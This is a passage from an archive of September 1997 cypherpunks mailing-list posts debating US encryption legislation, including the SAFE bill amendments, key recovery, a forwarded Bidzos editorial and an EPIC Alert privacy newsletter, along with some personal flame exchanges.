~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : <real@freenet.edmonton.ab.ca> : <ab756@freenet.toronto.on.ca>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Smith" <jsmith58@hotmail.com>
Date: Sat, 27 Sep 1997 06:12:54 +0800
To: cypherpunks@cyberpass.net
Subject: Technology center
Message-ID: <19970926215538.6978.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



One of the parts that got added to the SAFE bill is this new
Technology center.  It is supposed to help the FBI when they
run into encryption.

We all know that's not going to work.  Not very well anyway.
Maybe if it's some bogus encryption like the SMIME that has a
new crack program out for it, they'll get through it.  But if it
is real crypto then there's no way the Technology center is going
to be cracking keys.

What I think they'll do is work on virus software.  They can write
something which will hack the crypto on your PC and make it weak.
If they want to wiretap some drug dealer, they get him to download
one of their programs somehow.  Maybe they've got a Java bug which
lets them hack files when he goes to a certain web page.  Or maybe
they get him to download some free demo of a game or interaction
service (hotchicks.com).  Whatever, the program actually looks for
PGP and other crypto software and hacks it.  Now the FBI can read
his stuff.

This is probably even legal.  If they could break into his house and
stick a bug in his computer, why can't they do the same thing
electronically.

They might even want to set things up ahead of time so that crypto
software gets hacked for everyone.  They won't look, see, unless
they get a judge to OK it.  But they get some utility that everybody
uses like realaudio or winzip, and they convince the author to put
in their hack.  Now everybody who uses this has their crypto broken.
The FBI promises not to do any decryption without a warrant, so they
haven't actually stolen anyone's privacy.

Maybe they could even set it up so that it was only broken for the
FBI, that anybody else wouldn't be able to read it.

Do you think would try this?  What would you do if you were an
a**hole and ran the Technology center?

"John

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David HM Spector <spector@zeitgeist.com>
Date: Sat, 27 Sep 1997 03:20:35 +0800
To: cypherpunks@cyberpass.net
Subject: Bidzos editorial moves across business wires
Message-ID: <199709261858.OAA08997@wintermute.ny.zeitgeist.com>
MIME-Version: 1.0
Content-Type: text/plain




This just went out over the wires... attributed to Investors Business Daily

Headline: Guest Editorial Nothing Safe About Encryption Bills

======================================================================
   By D. JAMES BIDZOS Congress is intent on regulating encryption
technology in the name of law enforcement, no matter what the cost.
But the real debate's not about fighting crime. It's about the
ability of American business to compete in our new networked world.
   The Senate is nearing a vote on a bill, by Sen. John McCain, R-
Ariz., and Sen. Bob Kerrey, D-Neb., requiring all encryption products
made, sold or used in the U.S. to provide on-demand government access
to encrypted files with a court order.
   In the House, the story's more complicated.
   The Commerce Committee on Wednesday approved the Security and
Freedom through Encryption Act, a bill by Rep. Bob Goodlatte, D-Va.
that was written to bar domestic controls on encryption.
   A few weeks ago, SAFE was amended to resemble the Senate bill.
But the Commerce Committee scrapped the change and restored the
bill's original language. The battle now moves to the Rules
Committee, where Rep. Gerald Solomon, R-N.Y., vows to restore the
decoding provisions.
   FBI Director Louis Freeh wants encryption controls passed. He
told the Senate Judiciary Subcommittee on Technology that without
such a law, "Our ability to investigate and sometimes prevent the
most serious crimes and terrorism will be severely impaired."
   No one wants the FBI stymied in its efforts to fight crime.
Unfortunately, the debate in Congress so far has painted the Senate
bill's opponents as ignorant of public safety and national security
concerns, or, worse, willing to put commercial interests ahead of
them.
   What's missing from the current encryption debate is a clear
understanding of the implications of the Senate bill, and the
identification of safeguards against abuse of a "key recovery"
system.
   Key recovery means that someone other than the main user holds a
copy of an encryption key. Everyone agrees that key recovery is
useful, even necessary. The bottom line is, who should hold the
keys?
   Strong encryption is already a fact of life in the U.S. and around
the world. Advanced, strong, unescrowed encryption is used in
millions of products, including every Web browser sold by Netscape
Communications Corp. and Microsoft Corp.
   Law enforcement and the national security establishment view
strong encryption as a threat to their efforts to safeguard the
public from those who would encrypt incriminating data.
   But this is a myopic view. Fact is, in our evolving
cyber-society, everything about us will be stored digitally.
Contrary to the position of the FBI -which says it only wants to
maintain wiretap capabilities as they have existed since 1968 - the
proposal for key recovery is not the digital equivalent of putting
alligator clips on phone wires. It's more like giving the government
the keys to all of our personal and professional lives.
   While the FBI says such access will only be by authorized court
order, it has not explained how controls and audits will prevent
abuse of these valuable keys. Would people allow local and federal
law enforcement to have and store a copy of the keys to their homes
and their filing cabinets?
   The computer industry fears that a law requiring products to
include U.S. government access will make them unable to compete in a
market where roughly 60% of their revenues come from outside the U.S.
   And U.S. firms operating overseas are very concerned. Foreign
governments with key recovery would have every reason to use it to
steal trade secrets and pass them on to their own industries. In
France and elsewhere, government spies often help state-owned firms
steal trade secrets from U.S. companies.
   The FBI hopes that the U.S. encryption market can sway the rest of
the world. But if other countries take the position - as Germany has
- - that they will not control the export of encryption or require key
recovery, how will U.S. industry compete?
   Along with Germany, encryption companies are springing up in South
Africa, Ireland, Belgium, Switzerland and Singapore to exploit
opportunities created by a restrictive U.S. export policy.
   The administration and Congress seem ready to accept that American
industry will become a casualty of the crypto-wars as it struggles to
comply with a law no one fully understands, and foreign suppliers
step in to meet the demand.
   We can only hope that Congress will stop and think on this
critical issue before enshrining key recovery in law.
   D. James Bidzos is president of RSA Data Security Inc. in Redwood
City, Calif.


------- End of Forwarded Message




-- 
-------------------------------------------------------------------------------
David HM Spector                                         spector@zeitgeist.com
Network Design & Infrastructure Security                 voice: +1 212.580.7193
Amateur Radio: W2DHM (ex-N2BCA) (ARRL life member)       GridSquare: FN30AS
-.-. --- -. -. . -.-. -  .-- .. - ....  .- -- .- - . ..- .-.  .-. .- -.. .. ---
"New and stirring things are belittled because if they are not belittled, 
the humiliating question arises, 'Why then are you not taking part in them?'"
                                                        --H. G. Wells





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonah Seiger <jseiger@cdt.org>
Date: Sat, 27 Sep 1997 03:29:02 +0800
To: cypherpunks@toad.com
Subject: In response to Declan's questions about crypto.com
Message-ID: <v03102816b051a8b024d2@[207.226.3.4]>
MIME-Version: 1.0
Content-Type: text/plain



This morning, a private note from me to Declan -- part of an ongoing
personal conversation between Declan, CDT, and his editors at Time -- was
forwarded to several public lists.

It was not, as some have assumed, an attempt to obscure the substantive
issues he raised.  Unfortunately, this whole thing explored before CDT had
a chance to respond to Declan's questions directly.

I hope that the points below will help to clarify the issues:

1. CDT, along with VTW, EFF, ATR and Wired, spent the last two weeks rallying
   Internet users to call the Committee in opposition to Oxley-Manton.  We
   generated thousands of phone calls from constituents to the Committee, which
   we believe was a decisive factor in the defeat of Oxley-Manton.

2. CDT rallied support among the computer and communications industries,
   including many companies that have not yet weighed in yet on this issue.
   Opposition from the baby bells, along with companies who have in the past
   been favorable to the Administration's position (like IBM and TIS), probably
   made the difference in defeating Oxley-Manton

3. CDT did NOT support, nor work on, the White-Markey proposal. We strongly
   oppose the increased criminal provisions (as well as the criminal provisions
   in the original SAFE bill).  We are also concerned about the role of the
NET
   Center and the proposed liability limitations for key recovery agents
(though
   we do not believe that any liability limitations were included in the final
   bill)

4. CDT continues to support efforts to relax encryption export controls.  We
   believe that export relief is critical to promoting privacy and security on
   the Internet, both at home and abroad. We are steadfastly opposed to ANY
   domestic requirements, mandatory or "voluntary", to incorporate key-escrow,
   key-recovery, or other "immediate access" requirements.

5. We expect that all efforts to enact encryption reform legislation are
stalled
   for the remainder of this year, and we do not support any effort to bring
   SAFE to the House floor.  All our efforts are focused on stopping Congress
   from passing any bill in the foreseeable future, unless and until it is
clear
   that domestic  law enforcement access requirements will NOT be a part of any
   legislation.

6. We are not working for a "compromise" with the FBI or any other
supporters of
   domestic encryption controls.

We also recognize the realities of politics.  No matter how much any of us
might wish it to be true, members of the Commerce Committee were not
willing to stand up and simply oppose everything.   It was not in the
cards.  White and Markey offered them a chance to defeat Oxley while
throwing a small bone to law enforcement.  We believe that passage of SAFE
with the White-Markey amendment, despite the problems with the criminal
provisions, is on balance, a step forward in the fight for encryption
policy reform.

That's why we have described the vote on cryto.com as a "vote in favor of
privacy".  I do not expect that this will convince all of our detractors,
but I do hope this clarifies the substance of Declan's criticism.

As always, I am happy to respond to queries about CDT's positions and
tactics, but I am not interested in engaging in public flame throwing.

Best,

Jonah


* Value Your Privacy? The Government Doesn't.  Say 'No' to Key Escrow! *
            Adopt Your Legislator -  http://www.crypto.com/adopt

--
Jonah Seiger, Communications Director              (v) +1.202.637.9800
Center for Democracy and Technology              pager +1.202.859.2151
<jseiger@cdt.org>
                                                    PGP Key via finger
http://www.cdt.org
http://www.cdt.org/homes/jseiger










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 27 Sep 1997 06:49:06 +0800
To: cypherpunks@toad.com
Subject: EPIC Alert 4.13 on crypto and more
Message-ID: <Pine.GSO.3.95.970926150934.4274I-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



Note this excerpt on the problems of Markey-White:

>While surviving the draconian Oxley-Manton amendment, the SAFE bill,
>originally introduced by Rep. Bob Goodlatte (R-VA) to relax U.S.
>export controls on encryption products, did not emerge from the
>Commerce Committee unscathed.  The committee adopted an amendment
>offered by Reps. Ed Markey (D-MA) and Rick White (R-WA) that would
>create a new National Electronic Technologies (NET) Center within the
>Justice Department.  The NET Center would engage in research and
>"examine encryption techniques and methods to facilitate the ability
>of law enforcement to gain efficient access to plaintext of
>communications and electronic information."  The NET Center would be
>authorized to seek the assistance of "any department or agency of the
>Federal Government" in support of its mission, thereby providing
>explicit statutory authority for National Security Agency involvement
>in domestic law enforcement activities.  The Markey-White amendment
>also doubles the penalty for the use of encryption in furtherance of a
>felony and provides that "No person shall be subject to civil or
>criminal liability for providing access to the plaintext of encrypted
>communications or electronic information to any law enforcement
>official or authorized government entity, pursuant to judicial
>process."

Question to ponder for the weekend: if it took this kind of "compromise"
for a bill to clear the unabashedly pro-business Commerce committee, what
will it take for a bill to become law?

-Declan


---------- Forwarded message ----------
Date: Fri, 26 Sep 1997 17:33:43 -0400
From: Electronic Privacy Info Center <info@epic.org>
To: List <info@epic.org>
Subject: EPIC Alert 4.13

   ==============================================================

       @@@@  @@@@  @@@  @@@@      @    @     @@@@  @@@@  @@@@@
       @     @  @   @   @        @ @   @     @     @  @    @
       @@@@  @@@    @   @       @@@@@  @     @@@   @@@     @
       @     @      @   @       @   @  @     @     @  @    @
       @@@@  @     @@@  @@@@    @   @  @@@@  @@@@  @   @   @

   ==============================================================
   Volume 4.13	                             September 26, 1997
   --------------------------------------------------------------

                            Published by the
              Electronic Privacy Information Center (EPIC)
                            Washington, D.C.

                          http://www.epic.org/

=======================================================================
Table of Contents
=======================================================================

[1] House Committee Rejects Domestic Crypto Ban
[2] HHS Releases Medical Privacy Recommendations
[3] Employment Eligibility Pilot Programs Begin
[4] White House Commission Urges Scrutiny of Private Employees
[5] ID Cards to Cost $10 Billion
[6] Imagine: FBI Finally Releases John Lennon Files
[7] New Bills in Congress
[8] Upcoming Conferences and Events

=======================================================================
[1] House Committee Rejects Domestic Crypto Ban
=======================================================================

The House Commerce Committee has rejected an FBI-backed proposal to
impose the first-ever domestic controls on encryption.  In a 35-16
vote on September 24, the committee defeated an amendment to the SAFE
crypto bill offered by Reps. Michael Oxley (R-OH) and Thomas Manton
(D-NY) that would have banned the domestic manufacture and sale of
encryption products that do not provide law enforcement agencies easy
access to encrypted information.  Speaking in opposition to the
amendment, many committee members cited the unprecedented assault on
privacy and civil liberties that would result if the FBI proposal was
adopted.

While surviving the draconian Oxley-Manton amendment, the SAFE bill,
originally introduced by Rep. Bob Goodlatte (R-VA) to relax U.S.
export controls on encryption products, did not emerge from the
Commerce Committee unscathed.  The committee adopted an amendment
offered by Reps. Ed Markey (D-MA) and Rick White (R-WA) that would
create a new National Electronic Technologies (NET) Center within the
Justice Department.  The NET Center would engage in research and
"examine encryption techniques and methods to facilitate the ability
of law enforcement to gain efficient access to plaintext of
communications and electronic information."  The NET Center would be
authorized to seek the assistance of "any department or agency of the
Federal Government" in support of its mission, thereby providing
explicit statutory authority for National Security Agency involvement
in domestic law enforcement activities.  The Markey-White amendment
also doubles the penalty for the use of encryption in furtherance of a
felony and provides that "No person shall be subject to civil or
criminal liability for providing access to the plaintext of encrypted
communications or electronic information to any law enforcement
official or authorized government entity, pursuant to judicial
process."

In a letter sent to the Commerce Committee prior to the vote, EPIC
joined with the American Civil Liberties Union, Eagle Forum, Americans
for Tax Reform and other groups in urging members to oppose "any
proposal establishing a legal structure for key recovery even if
temporarily 'voluntary,' any so-called 'compromise' provision drawn
from Oxley-Manton . . . , and any new proposal that would limit the
availability and use of strong encryption."

The fate of the SAFE bill is now uncertain.  The original Goodlatte
language has been substantially amended by five House committees, with
contradictory results.  Rep. Gerald Solomon (R-NY), chairman of the
House Rules Committee, has indicated that he will not send the
legislation to the House floor unless it contains the Oxley-Manton
domestic controls.  As such, SAFE may no longer be a viable vehicle
for the reform of encryption policy that it was originally intended to
promote.

PDF versions of House Commerce Committee documents on the SAFE bill
are available at:

     http://www.house.gov/commerce/full/092497/markup.htm

=======================================================================
[2] HHS Releases Medical Privacy Recommendations
=======================================================================

Health and Human Services (HHS) Secretary Donna Shalala released the
Department's recommendations for a new medical privacy bill on
September 11, calling for legislation that would generally protect all
medical records.  In addition, HHS says medical records should not be
used by employers and others for making non-medical decisions;
patients would have the right to sue if their records were disclosed
improperly and criminal and civil penalties could be imposed.

On a number of issues, the guidelines fall short.  HHS recommends that
there be no new laws preventing law enforcement access to medical
records, essentially enabling law enforcement and other government
officials to obtain medical records without a court order.  In
addition, on the issue of medical research, the guidelines recommend
that personally identifiable records be used for medical research
without the consent of the patient.  They also ignore the issue of
whether a single unique identifier such as a Social Security number
should be used to link all medical records in a nationwide network of
records.

Importantly, HHS recommends that any new medical privacy law should
not preempt already existing state or federal laws that provide
greater protection.  A major bill introduced last year by Sen. Robert
Bennett (R-UT) would have prevented states from providing more
protection to their citizens.  Many states have enacted laws giving
stronger privacy protection to records on substance abuse, AIDS and
mental health.  Some states, such as Massachusetts, are currently in
the process of enacting comprehensive privacy legislation.

The text of the HHS recommendations and more information on medical
privacy is available at:

     http://www.epic.org/privacy/medical/

=======================================================================
[3] Employment Eligibility Pilot Programs Begin
=======================================================================

The Immigration and Naturalization Service (INS) and the Social
Security Administration (SSA) have announced three pilot programs for
verifying eligibility of employees to work within the United States.
The pilot programs were ordered by the Congress as part of the
Immigration Reform and Immigrant Responsibility Act of 1996 in a
compromise attempt to avoid creation of a national identification
system.

The three programs are the Basic Pilot; the Citizen Attestation Pilot;
and the Machine-Readable Document Pilot.  The Basic Pilot requires
that employers verify the employment eligibility of all new employees
through automated verification checks of SSA and INS databases using a
telephone.  The Citizen Attestation Pilot only checks the status of
new employees who attest they are not U.S. citizens, but is limited to
states where drivers' licenses are acceptable to the INS -- presumably
those having the SSN on the face of the license.  In the Machine
Readable Pilot, the procedures are similar to the Basic Pilot except
in states with machine readable licenses (currently, only Iowa is
eligible).

Each government department is required to assign a pilot program to at
least one agency within the department.  In addition, companies that
have been found to violate the Immigration Act can be compelled to
join in the program.  The pilot programs will last for four years
unless Congress re-authorizes them.

=======================================================================
[4] White House Commission Urges Scrutiny of Private Employees
=======================================================================

A special Presidential commission will recommend that certain private
sector employees be subjected to in-depth background checks and
polygraph examinations.  Speaking before The Bankers Roundtable on
September 11, Robert T. Marsh, Chairman of the President's Commission
on Critical Infrastructure Protection, previewed the "core
recommendations" that will be transmitted to the White House.
Addressing "privacy issues in the employer-employee relationship,"
Marsh said:

     Throughout its year-long effort, the Commission has
     struggled to address the competing interests of
     security and privacy and the trade-offs between these
     two interests. . . . We are going to recommend that
     the Administration and Congress study ways to make
     some of the tools that the federal government uses to
     perform background checks and issue security clearances
     more readily available to employers within the critical
     infrastructures, at least in filling certain sensitive
     positions within those infrastructures. These efforts
     may afford you, for example, a greater ability to
     inquire into and make use of criminal history
     information, employment histories, and credit history
     information. Amendments should also be made to federal
     polygraph law to include within the scope of current
     exemptions those who are in the business of providing
     information security services.

The "critical infrastructures," as defined by Executive Order 13010,
include "telecommunications, electrical power systems, gas and oil
storage and transportation, banking and finance, transportation, water
supply systems, emergency services (including medical, police, fire,
and rescue), and continuity of government."

The full text of the Marsh address is available at:

     http://www.pccip.gov/marsh_banker.html

=======================================================================
[5] ID Cards to Cost $10 Billion
=======================================================================

The Social Security Administration announced on September 22 that it
would cost up to $10 billion to re-issue Social Security cards as
tamper-proof identifiers.

Congress required the SSA to assess the cost as part of the 1996
immigration and welfare bills.  The SSA report reviews the history of
the SSN from its creation in 1935 through the current day.  The report
declines to make any policy recommendations, but recognizes some of
the privacy issues raised by the use of the SSN as a national
identifier.  An appendix to the report includes pending legislation
that would limit the SSN's use.

The report examines the different technologies for ID cards from basic
plain plastic cards to smart cards, including those that would include
a picture or biometric identifier.  It notes that SSA cannot
accurately assess how many actual SSNs are in use -- the agency is
only able to estimate a range between 269 and 327 million.  At least
10 million are estimated to be duplicate numbers.

More information on national identification cards is available at:

     http://www.epic.org/privacy/id_cards/

=======================================================================
[6] Imagine: FBI Finally Releases John Lennon Files
=======================================================================

After resisting disclosure for more than 15 years, the Federal Bureau
of Investigation has released almost all of its secret files on John
Lennon.  The documents underscore the sometimes questionable rationale
for FBI surveillance operations and the importance of public oversight
of those activities.

Since being sued under the Freedom of Information Act in 1983, the
Bureau had steadfastly withheld the Lennon files on "national security"
grounds.  Now released, the records document FBI surveillance of the
former Beatle's political activities, under the close supervision of
the Nixon White House.  Significantly, none of the disclosed files
describe Lennon as involved in any illegal act.  In December 1995, U.S.
District Judge Robert Takasugi directed the FBI to disclose whether it
had "used unlawful activities in connection with the Lennon
investigation."  Rather than respond to the questions, the FBI
negotiated a settlement to release the documents.

Ironically, the Lennon files were released as a senior FBI official
told an international privacy conference that "extreme" privacy
concerns have "handcuffed" law enforcement's ability to investigate
criminal activity.  FBI Counsel Alan McDonald told the International
Conference on Privacy in Montreal that, "Based on a theory of potential
government abuse, important tools commonly used are to be restricted or
embargoed."

More information on the FBI investigation of John Lennon is available
at:

     http://www.bagism.com/library/fbi-rock-criticism.html

=======================================================================
[7] New Bills in Congress
=======================================================================

HR 2215, Genetic Nondiscrimination in the Workplace Act. Introduced by
Kennedy (D-MA) on July 22.  Amends Fair Labor Standards Act to restrict
employers in obtaining, disclosing, and using of genetic information.
Referred to the Committee on Education and the Workforce.

HR 2216, Genetic Protection in Insurance Coverage Act.  Introduced by
Kennedy (D-MA) on July 22.  Limits the disclosure and use of genetic
information by life and disability insurers.  Prohibits insurers from
requiring genetic tests, denying coverage, setting rates based on
genetics, using or maintain genetic info.  Referred to the Committee on
Commerce.

HR 2275, Genetic Employment Protection Act of 1997.  Introduced by
Lowery (D-NY) on July 25.  Prohibits employers, unions from
discriminating on basis of genetic information.  Referred to the
Committee on Education and the Workforce.

H.R.2368, Data Privacy Act of 1997.  Introduced by Tauzin (R-LA) on
July 31.  Recommends that businesses create voluntary guidelines to
protect privacy, and stop spamming.  Referred to the Committee on
Commerce.

HR 2369, Wireless Privacy Enhancement Act of 1997.  Introduced by
Tauzin (R-LA) on July 31.  Expands ban and penalties on sale of
scanners that can intercept cellular and digital communications and
interception of communications.  Referred to the Committee on Commerce.

HR 2372, Internet Protection Act of 1997.  Introduced by White (R-WA)
on July 31.  Limits FCC and state ability to regulate Internet.
Referred to the Committee on Commerce.

HR 2404, Stop the Theft of Our Social Security Numbers Act.  Introduced
by Filner (D-CA) on September 4.  Prohibits IRS mailings that include
SSN unless it is inside sealed envelope.  Referred to the Committee on
Ways and Means.

HR 2507, ATM Public Safety and Crime Control Act.  Introduced by Nadler
(R-NY).  Requires banks to install better surveillance cameras in ATMs.
Referred to the Committee on Banking and Financial Services.

S. 1146, Digital Copyright Clarification and Technology Education Act
of 1997.  Introduced by Ashcroft (R-MO).  Sets up new rules for
copyright in digital networks.  Referred to the Committee on the
Judiciary.

=======================================================================
[8] Upcoming Conferences and Events
=======================================================================

Net Worth, Net Work: Technology and Values for the Digital Age. October
4-5. University of Cal, Berkeley. Sponsored by CPSR. Contact:
http://www.cpsr.org/dox/home.html

20th National Information Systems Security Conference. October 7-10.
Baltimore, MD. Sponsored by NIST and NSA. Contact:
http://csrc.nist.gov/nissc/

EPIC International Privacy Conference. October 20,1997. Georgetown
University Law Center, Washington, DC. Sponsored by EPIC. Contact:
shauna@epic.org.

Managing the Privacy Revolution '97. October 21-23, 1997. Washington,
DC. Sponsored by Privacy and American Business. Contact:
http://shell.idt.net/~pab/conf97.html

RSA'98 -- The 1998 RSA Data Security Conference.  January 12-16, 1998.
San Francisco, CA.  Contact kurt@rsa.com or http://www.rsa.com/conf98/


             (Send calendar submissions to alert@epic.org)

=======================================================================

The EPIC Alert is a free biweekly publication of the Electronic Privacy
Information Center.  To subscribe, send email to epic-news@epic.org wih
the subject: "subscribe" (no quotes) or use the subscription form at:

      http://www.epic.org/alert/subscribe.html

Back issues are available at:

      http://www.epic.org/alert/

=======================================================================

The Electronic Privacy Information Center is a public interest
research center in Washington, DC.  It was established in 1994 to
focus public attention on emerging privacy issues such as the Clipper
Chip, the Digital Telephony proposal, national ID cards, medical
record privacy, and the collection and sale of personal information.
EPIC is sponsored by the Fund for Constitutional Government, a
non-profit organization established in 1974 to protect civil liberties
and constitutional rights.  EPIC publishes the EPIC Alert, pursues
Freedom of Information Act litigation, and conducts policy research.
For more information, e-mail info@epic.org, http://www.epic.org or
write EPIC, 666 Pennsylvania Ave., SE, Suite 301, Washington, DC
20003. +1 202 544 9240 (tel), +1 202 547 5482 (fax).

If you'd like to support the work of the Electronic Privacy
Information Center, contributions are welcome and fully
tax-deductible.  Checks should be made out to "The Fund for
Constitutional Government" and sent to EPIC, 666 Pennsylvania Ave.,
SE, Suite 301, Washington DC 20003. Individuals with First Virtual
accounts can donate at http://www.epic.org/epic/support.html

Your contributions will help support Freedom of Information Act and
First Amendment litigation, strong and effective advocacy for the
right of privacy and efforts to oppose government regulation of
encryption and funding of the National Wiretap Plan.

Thank you for your support.

  ---------------------- END EPIC Alert 4.13 -----------------------

..








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sat, 27 Sep 1997 03:59:33 +0800
To: cypherpunks@toad.com
Subject: Re: CDT complains to my editors after post to cypherpunks
In-Reply-To: <v03007811b05179a2663f@[204.254.22.23]>
Message-ID: <v03007804b051bd04a43a@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:17 -0400 9/26/97, Dr.Dimitri Vulis KOTM wrote:
>Declan forged quotes from me in his nutly news piece about Gilmore pulling
>my plug.

Oh, really? First time I've heard this line from Vulis.

Want me to post the complete text of our interview? You were rather
reticent, shy, almost bashful, I recall. Most uncharacteristic, really.

-Declan



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jay holovacs <holovacs@idt.net>
Date: Sat, 27 Sep 1997 05:31:19 +0800
To: "Paul Spirito" <declan@well.com>
Subject: RE: Re: How the FBI/NSA forces can further twist SAFE
Message-ID: <199709262107.RAA17847@u1.farm.idt.net>
MIME-Version: 1.0
Content-Type: text/plain




==========================
   >From:    	"Paul Spirito" <berezina@qed.net>
   >Date:    	Thu, Sep 25, 1997 11:58 PM
   >
   >And next year *is* an election year. If nothing awful happens, it shouldn't be much of an issue, but sooner or later there'll be a big bang made by terrorists who've used crypto in the plotting, & then anyone who opposed the FBI line will get drubbed, perhaps fatally (i.e. they'll lose their seat).

On the other hand a publicized security disaster or "infowar" attack could spin things in the other direction.

Jay






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lyle Seaman <lws@ms.com>
Date: Sat, 27 Sep 1997 04:23:29 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: FIRING LINE DEBATE
In-Reply-To: <v03110733b050e7d06618@[139.167.130.248]>
Message-ID: <199709262004.QAA08930@dead.morgan.com>
MIME-Version: 1.0
Content-Type: text/plain




Rodney, eh?  Some Producer isn't giving you much respect.

-> From: Some Producer :-)
-> Date: Thu, 25 Sep 1997 18:55:13 -0400 (EDT)
-> To: rah@shipwright.com
-> Subject: FIRING LINE DEBATE
-> 
-> Rodney,
-> ...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 27 Sep 1997 07:43:12 +0800
To: cypherpunks@toad.com
Subject: Re: CDT complains to my editors after post to cypherpunks
In-Reply-To: <v03007804b051bd04a43a@[168.161.105.141]>
Message-ID: <aFoNDe3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh <declan@pathfinder.com> writes:

> At 11:17 -0400 9/26/97, Dr.Dimitri Vulis KOTM wrote:
> >Declan forged quotes from me in his nutly news piece about Gilmore pulling
> >my plug.
> 
> Oh, really? First time I've heard this line from Vulis.
> 
> Want me to post the complete text of our interview? You were rather
Go ahead, forger.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 27 Sep 1997 05:01:59 +0800
To: Lyle Seaman <lws@ms.com>
Subject: Re: FIRING LINE DEBATE
In-Reply-To: <v03110733b050e7d06618@[139.167.130.248]>
Message-ID: <v03110702b051cb4c00ae@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:04 pm -0400 on 9/26/97, Lyle Seaman wrote:


> Rodney, eh?  Some Producer isn't giving you much respect.


All the respect I deserve. :-).

Rodney Thayer, who's the IPSEC editor, among other things, is going to be
the event manager, and he's cc'd in the letter I sent out to begin with.
Some Producer got our names confused...

Besides, you'd better respect Rodney. The last time I saw him in a
flamewar, the other guy walked out holding his guts in his hands...

;-).


Oh. I talked to Some Producer this morning. He's pitching Buckley, et al.,
on the idea this weekend. I'll know by the beginning of next week.
December's open, and so are a bunch of months after April.

I haven't had this much fun since the hogs ate my little brother...

Cheers,
Bob Hettinga


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jon Lebkowsky <jonl@well.com>
Date: Sat, 27 Sep 1997 06:28:19 +0800
To: Jonah Seiger <cypherpunks@toad.com
Subject: Re: In response to Declan's questions about crypto.com
In-Reply-To: <v03102816b051a8b024d2@[207.226.3.4]>
Message-ID: <3.0.2.32.19970926165458.03321b18@mail.onr.com>
MIME-Version: 1.0
Content-Type: text/plain



At 03:09 PM 9/26/97 -0400, Jonah Seiger wrote:

>We also recognize the realities of politics.  No matter how much any of us
>might wish it to be true, members of the Commerce Committee were not
>willing to stand up and simply oppose everything.   It was not in the
>cards.  White and Markey offered them a chance to defeat Oxley while
>throwing a small bone to law enforcement.  We believe that passage of SAFE
>with the White-Markey amendment, despite the problems with the criminal
>provisions, is on balance, a step forward in the fight for encryption
>policy reform.
>
>That's why we have described the vote on cryto.com as a "vote in favor of
>privacy".  I do not expect that this will convince all of our detractors,
>but I do hope this clarifies the substance of Declan's criticism.

One of the realities of politics is that every gain for the opposition
contributes to a critical mass that can result in eventual passage of 'bad'
legislation. Though I tend to be pragmatic, I'm concerned that we tend to
give away too much early on in the legislative process.  Considering that
there is substantial opposition (by attorneys, professors, and corporations
as well as by crypto-anarchists) to crypto restrictions on the table, we
hurt ourselves if we declare a partial win as anything but a loss at this
point. Consider that crypto is hard to grasp for many, and we may be
feeding complacency with  unrealistic claims of victory.

----
jonl@well.com
http://www.well.com/~jonl





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: A Player To Be Named Later <aptbnl@dev.null>
Date: Sat, 27 Sep 1997 07:25:26 +0800
To: Jon Lebkowsky <jonl@well.com>
Subject: Do not pass Go. Do not collect $200.00 / Re: In response to Declan's questions about crypto.com
In-Reply-To: <3.0.2.32.19970926165458.03321b18@mail.onr.com>
Message-ID: <342C3D7F.7229@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Jon Lebkowsky wrote:
> Though I tend to be pragmatic, I'm concerned that we tend to
> give away too much early on in the legislative process.  Considering that
> there is substantial opposition (by attorneys, professors, and corporations
> as well as by crypto-anarchists) to crypto restrictions on the table, we
> hurt ourselves if we declare a partial win as anything but a loss at this
> point. Consider that crypto is hard to grasp for many, and we may be
> feeding complacency with  unrealistic claims of victory.

 Bad news, gang! I've re-upped my liquor supply and I am therefore not
prone to suffer fools gladly, for the moment.

 Please answer the following question for me:
"When was the last time you 'compromised' in a game of Monopoly?"

  "Golly, gee. If you can't afford to pay the rent for landing on Park
Place, with my four hotels in place, why don't I cut you a little slack
so that you can make a comeback and rip my throat out later in the
game."

  Monopoly has rules. Cribbage has rules. You never hear anyone saying,
